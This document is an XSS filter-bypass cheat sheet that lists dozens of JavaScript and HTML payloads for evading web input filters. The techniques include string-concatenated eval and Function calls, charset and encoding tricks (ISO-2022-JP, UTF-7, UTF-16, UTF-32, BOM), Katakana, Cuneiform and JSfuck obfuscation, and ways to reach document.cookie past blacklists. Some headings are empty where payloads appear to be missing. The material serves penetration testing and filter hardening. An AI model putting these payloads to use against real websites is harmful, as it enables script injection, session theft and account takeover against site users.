XSS Filter Bypass
Summary
- Bypass Case Sensitive
- Bypass Tag Blacklist
- Bypass Word Blacklist with Code Evaluation
- Bypass with Incomplete HTML Tag
- Bypass Quotes for String
- Bypass Quotes in Script Tag
- Bypass Quotes in Mousedown Event
- Bypass Dot Filter
- Bypass Parenthesis for String
- Bypass Parenthesis and Semi Colon
- Bypass onxxxx= Blacklist
- Bypass Space Filter
- Bypass Email Filter
- Bypass Tel URI Filter
- Bypass document Blacklist
- Bypass document.cookie Blacklist
- Bypass using Javascript Inside a String
- Bypass using an Alternate Way to Redirect
- Bypass using an Alternate Way to Execute an Alert
- Bypass ">" using Nothing
- Bypass "<" and ">" using < and >
- Bypass ";" using Another Character
- Bypass using Missing Charset Header
- Bypass using HTML encoding
- Bypass using Katakana
- Bypass using Cuneiform
- Bypass using Lontara
- Bypass using ECMAScript6
- Bypass using Octal encoding
- Bypass using Unicode
- Bypass using UTF-7
- Bypass using UTF-8
- Bypass using UTF-16be
- Bypass using UTF-32
- Bypass using BOM
- Bypass using JSfuck
- References
Bypass Case Sensitive
To bypass a case-sensitive XSS filter, you can try mixing uppercase and lowercase letters within the tags or function names.
Since many XSS filters only recognize exact lowercase or uppercase patterns, this can sometimes evade detection by tricking simple case-sensitive filters.
Bypass Tag Blacklist
Bypass Word Blacklist with Code Evaluation
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
Bypass with Incomplete HTML Tag
Works on IE/Firefox/Chrome/Safari
Bypass Quotes for String
Bypass Quotes in Script Tag
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
<script>
<?php echo 'foo="text '.$_GET['test'].'";';`?>
</script>
</html>
Bypass Quotes in Mousedown Event
You can bypass a single quote with ' in an on mousedown event handler
Bypass Dot Filter
Convert IP address into decimal format: IE. http://192.168.1.1
== http://3232235777
http://www.geektools.com/cgi-bin/ipconv.cgi
Base64 encoding your XSS payload with Linux command: IE. echo -n "alert(document.cookie)" | base64
== YWxlcnQoZG9jdW1lbnQuY29va2llKQ==
Bypass Parenthesis for String
Bypass Parenthesis and Semi Colon
-
From @garethheyes
-
From @terjanq
-
From @cgvwzq
Bypass onxxxx Blacklist
-
Use less known tag
-
Bypass onxxx= filter with a null byte/vertical tab/Carriage Return/Line Feed
-
Bypass onxxx= filter with a '/'
Bypass Space Filter
-
Bypass space filter with "/"
-
Bypass space filter with
0x0c/^L
or0x0d/^M
or0x0a/^J
or0x09/^I
$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a ert(1).>.
Bypass Email Filter
Bypass Tel URI Filter
At least 2 RFC mention the ;phone-context=
descriptor:
Bypass Document Blacklist
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
window["doc"+"ument"]
Bypass document.cookie Blacklist
This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements.
Bypass using Javascript Inside a String
Bypass using an Alternate Way to Redirect
location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"
Bypass using an Alternate Way to Execute an Alert
From @brutelogic tweet.
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
From @theMiddle - Using global variables
The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its index number instead the function name.
Then calling alert is :
We can find "alert" with a regular expression like ^a[rel]+t$ :
//bind function alert on new function a()
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
// then you can use a() with Object.keys
self[Object.keys(self)[a()]]("1") // alert("1")
Oneliner:
From @quanyang tweet.
prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'
From @404death tweet.
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();
top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);
open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';
setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
Bypass using an alternate way to trigger an alert
var i = document.createElement("iframe");
i.onload = function(){
i.contentWindow.alert(1);
}
document.appendChild(i);
// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
var proxy = obj[name];
obj[name] = function () {
if (exec_original) {
return proxy.apply(this, arguments);
}
};
XSSObject.lockdown(obj, name);
};
XSSObject.proxy(window, 'alert', 'window.alert', false);
Bypass ">" using Nothing
There is no need to close the tags, the browser will try to fix it.
Bypass "<" and ">" using < and >
Use Unicode characters U+FF1C
and U+FF1E
, refer to Bypass using Unicode for more.
Bypass ";" using Another Character
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
Bypass using Missing Charset Header
Requirements:
- Server header missing
charset
:Content-Type: text/html
ISO-2022-JP
ISO-2022-JP uses escape characters to switch between several character sets.
Escape | Encoding |
---|---|
\x1B (B |
ASCII |
\x1B (J |
JIS X 0201 1976 |
\x1B $@ |
JIS X 0208 1978 |
\x1B $B |
JIS X 0208 1983 |
Using the code table, we can find multiple characters that will be transformed when switching from ASCII to JIS X 0201 1976.
Hex | ASCII | JIS X 0201 1976 |
---|---|---|
0x5c | \ |
¥ |
0x7e | ~ |
‾ |
Example
Use %1b(J
to force convert a \'
(ascii) in to ¥'
(JIS X 0201 1976), unescaping the quote.
Payload: search=%1b(J&lang=en";alert(1)//
Bypass using HTML Encoding
%26%2397;lert(1)
alert
></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
Bypass using Katakana
Using the aemkei/Katakana library.
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
Bypass using Cuneiform
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
Bypass using Lontara
ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()
More alphabets on http://aem1k.com/aurebesh.js/#
Bypass using ECMAScript6
Bypass using Octal encoding
Bypass using Unicode
This payload takes advantage of Unicode escape sequences to obscure the JavaScript function
It uses Unicode escape sequences to represent characters.
Unicode | ASCII |
---|---|
\u0061 |
a |
\u006C |
l |
\u0065 |
e |
\u0072 |
r |
\u0074 |
t |
Same thing with these Unicode characters.
Unicode (UTF-8 encoded) | Unicode Name | ASCII | ASCII Name |
---|---|---|---|
\uFF1C (%EF%BC%9C) |
FULLWIDTH LESSTHAN SIGN | < | LESSTHAN |
\uFF1E (%EF%BC%9E) |
FULLWIDTH GREATERTHAN SIGN | > | GREATERTHAN |
\u02BA (%CA%BA) |
MODIFIER LETTER DOUBLE PRIME | " | QUOTATION MARK |
\u02B9 (%CA%B9) |
MODIFIER LETTER PRIME | ' | APOSTROPHE |
An example payload could be ʺ><svg onload=alert(/XSS/)>/
, which would look like that after being URL encoded:
When Unicode characters are converted to another case, they might bypass a filter look for specific keywords.
Unicode | Transform | Character |
---|---|---|
İ (%c4%b0) |
toLowerCase() |
i |
ı (%c4%b1) |
toUpperCase() |
I |
ſ (%c5%bf) |
toUpperCase() |
S |
K (%E2%84) |
toLowerCase() |
k |
The following payloads become valid HTML tags after being converted.
Bypass using UTF-7
Bypass using UTF-8
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
Bypass using UTF-16be
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
Bypass using UTF-32
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
Bypass using BOM
Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page
BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E
BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
Bypass using JSfuck
Bypass using jsfuck
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()